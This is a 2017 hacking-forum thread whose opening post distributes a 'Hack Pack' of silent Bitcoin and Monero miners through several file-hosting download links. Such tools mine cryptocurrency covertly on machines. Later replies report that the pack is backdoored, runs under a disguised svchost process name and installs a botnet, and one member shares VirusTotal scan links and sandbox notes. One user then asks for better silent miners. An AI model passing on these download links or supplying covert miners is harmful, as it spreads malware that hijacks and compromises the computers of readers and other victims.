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Hack Pack - Silent Bitcoin / Monero / Alt-coin miners - CrackKilla - 11-27-2017

Hello friends this is my first upload.


These miners were not made by me, I have made a collection of all the Bitcoin and other cryptocurrency silent miners out there.

These miner I have collected from different sources and compiled them into one.

For educational purposes only.

You are responsible for how you use these miners and I recommend using them on your own machine only. Be careful when using them.


Thank you.

Download:

Quote:https://www.sendspace.com/file/2i9tcr

https://userscloud.com/hqbdq9s3m99q
https://openload.co/f/V7mLkj71cKQ/Hack_Pack_-_Silent_Coin_Miners.rar
https://www.file-upload.com/m7ulz5ovz5e6
https://dailyuploads.net/1gsi9ozshuo3
http://www.owndrives.com/9216fph0pwn7/Hack_Pack_-_Silent_Coin_Miners.rar.html
https://filescdn.com/p15oh7lnrahr


RE: Hack Pack - Silent Bitcoin / Monero / Alt-coin miners - GOODGANGBITCH - 11-29-2017

backdoored. process name is svchost too. so dont open any of em.

RE: Hack Pack - Silent Bitcoin / Monero / Alt-coin miners - SiriusBlack - 12-09-2017

@Oni @mothered @phyrrus9 Virus?

RE: Hack Pack - Silent Bitcoin / Monero / Alt-coin miners - mothered - 12-10-2017

(12-09-2017, 11:22 PM)SiriusBlack Wrote: @Oni @mothered @phyrrus9 Virus?

I'm about to log off.

I'll check It out on my return later today.

RE: Hack Pack - Silent Bitcoin / Monero / Alt-coin miners - mothered - 12-10-2017

Here's the online virus scan reports of all executables:

https://www.virustotal.com/#/file/4ddcdc5b04aafa939f29334690106d33e1e989b0a90cf8cc6542c6e83d25bf21/detection
https://www.virustotal.com/#/file/f259c66db3d3669fbb2bcdc383c911a23db9613e120f8c5ed75ed1f5a4c3a94c/detection
https://www.virustotal.com/#/file/b5654f8359c154c5c1162bb3329c07fcc6621b9ef2c1d5799bdc886d02751041/detection
https://www.virustotal.com/#/file/d83d8749fba6da9f2d49988b2b385dcfe076189a828c88a8bbf30e53f788daf7/detection
https://www.virustotal.com/#/file/64b7fad7479ef29cbae9cf8854250a044d98bc3e97202bbbb198d74459a331bc/detection
https://www.virustotal.com/#/file/39600e85fd5bcc36ff0333eccb942d05c2e09dce4fd8f896dd379577eb223f69/detection

I've also sandboxed all files but the result was similar between all, so this Is the result of just the one:
Spoiler:
[Image: tI40dfQ.png]


As you can see In the Image above, It did create a heap of processes, namely Fondeu.exe. This Is a System32 process (Windows Features on Demand UX) and given I don't have .Net Framework 3.5 Installed In my test lab, these processes were actually calling for It's Installation with the command of "enable-feature: NetFx3". That's why the file Itself did not execute In Sandboxie- It required .Net Framework.

I couldn't see whether there were signs of Inconsistent outgoing connections or any suspicious files dropped, so run all files In a VM.
EDIT: Typo.

RE: Hack Pack - Silent Bitcoin / Monero / Alt-coin miners - Guzzie - 12-17-2017

(12-10-2017, 02:07 PM)mothered Wrote: Here's the online virus scan reports of all executables:

https://www.virustotal.com/#/file/4ddcdc5b04aafa939f29334690106d33e1e989b0a90cf8cc6542c6e83d25bf21/detection
https://www.virustotal.com/#/file/f259c66db3d3669fbb2bcdc383c911a23db9613e120f8c5ed75ed1f5a4c3a94c/detection
https://www.virustotal.com/#/file/b5654f8359c154c5c1162bb3329c07fcc6621b9ef2c1d5799bdc886d02751041/detection
https://www.virustotal.com/#/file/d83d8749fba6da9f2d49988b2b385dcfe076189a828c88a8bbf30e53f788daf7/detection
https://www.virustotal.com/#/file/64b7fad7479ef29cbae9cf8854250a044d98bc3e97202bbbb198d74459a331bc/detection
https://www.virustotal.com/#/file/39600e85fd5bcc36ff0333eccb942d05c2e09dce4fd8f896dd379577eb223f69/detection

I've also sandboxed all files but the result was similar between all, so this Is the result of just the one:
Spoiler:
[Image: tI40dfQ.png]


As you can see In the Image above, It did create a heap of processes, namely Fondeu.exe. This Is a System32 process (Windows Features on Demand UX) and given I don't have .Net Framework 3.5 Installed In my test lab, these processes were actually calling for It's Installation with the command of "enable-feature: NetFx3". That's why the file Itself did not execute In Sandboxie- It required .Net Framework.

I couldn't see whether there were signs of Inconsistent outgoing connections or any suspicious files dropped, so run all files In a VM.
EDIT: Typo.

Sounds reasonable, what about the programs? Anyone tested if they works?

RE: Hack Pack - Silent Bitcoin / Monero / Alt-coin miners - anonymousx - 12-18-2017

all backdoored turned my vm into a coffe maker, do not download, not even able to generate miners with it. broke while he added his botnet to it.

RE: Hack Pack - Silent Bitcoin / Monero / Alt-coin miners - Mom - 12-19-2017

Are you even trying? The person probably isn't even here anymore, but it's a rather egregious insult to the intelligence of anyone who's been on the internet longer than a year to think that someone would fall for this. On a tech-focused forum, no less.

RE: Hack Pack - Silent Bitcoin / Monero / Alt-coin miners - divyanshu14 - 12-21-2017

(12-19-2017, 12:01 AM)Mom Wrote: Are you even trying? The person probably isn't even here anymore, but it's a rather egregious insult to the intelligence of anyone who's been on the internet longer than a year to think that someone would fall for this. On a tech-focused forum, no less.

So we should not use these? If not what would be ideal silent miners you recommend buddy

RE: Hack Pack - Silent Bitcoin / Monero / Alt-coin miners - Mom - 12-21-2017

(12-21-2017, 11:59 AM)divyanshu14 Wrote:
(12-19-2017, 12:01 AM)Mom Wrote: Are you even trying? The person probably isn't even here anymore, but it's a rather egregious insult to the intelligence of anyone who's been on the internet longer than a year to think that someone would fall for this. On a tech-focused forum, no less.

So we should not use these? If not what would be ideal silent miners you recommend buddy

What's with the condescending tone? I'm simply saying that there's a ton of red flags that you can clearly see in the given links. So much so that you'd be hard pressed to call them false positives. You don't need to know a better alternative to feel like something's hella fishy.

If you're such a badass that knows what they're doing, then download it and see for yourself.